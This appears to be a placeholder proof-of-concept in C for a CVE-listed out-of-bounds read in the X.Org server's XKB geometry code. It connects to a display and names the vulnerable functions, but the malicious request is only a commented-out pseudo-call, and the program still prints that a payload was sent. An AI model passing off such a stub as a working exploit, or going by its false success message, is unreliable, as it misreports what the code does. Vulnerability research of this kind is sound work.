CVE-2026-34000

/* * PoC for CVE-2026-34000: X.Org X Server Out-of-Bounds Read * Conceptual code demonstrating the vulnerability trigger. */ #include <X11/Xlib.h> #include <X11/XKBlib.h> #include <stdio.h> int main() { Display *dpy; // Establish connection to the X11 server dpy = XOpenDisplay(NULL); if (!dpy) { fprintf(stderr, "Error: Cannot open display\n"); return 1; } printf("[+] Connected to X Server. Attempting to trigger OOB read...\n"); // Logic to trigger the vulnerability in CheckSetGeom/XkbAddGeomKeyAlias // In a real exploit, this involves crafting specific XKB protocol bytes // to manipulate geometry indices and read out-of-bounds memory. // Malicious request simulation (Pseudo-code) // send_malicious_xkb_geometry_request(dpy); XCloseDisplay(dpy); printf("[+] Payload sent. Monitor server for crashes or info leakage.\n"); return 0; }

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